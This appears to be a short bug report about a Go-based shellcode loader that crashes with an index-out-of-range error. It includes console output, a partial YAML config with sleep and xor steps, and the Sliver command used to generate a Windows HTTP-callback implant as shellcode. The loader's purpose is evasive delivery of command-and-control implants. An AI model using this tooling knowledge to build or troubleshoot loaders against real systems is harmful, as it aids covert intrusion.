Shellcode index out of range

[cmprmsd]

The execution of shellcode fails for me in any case. The example config fails silently in debug mode with garble enabled.

When creating a new config with only sleep 2 and xor the program does not execute correctly:

PS C:\Users\user\Desktop> .\20220704_9qul_main.exe
[INFO]    Sleep for 2 seconds
[INFO]    Sleep finished

goroutine 1 [running]:

main.main()

unobfuscated shellcode comes from sliver: generate --os windows --http https://domain --format shellcode -l

config (tested with and without xor)

payload:
  artifacts:
    - name: sleep
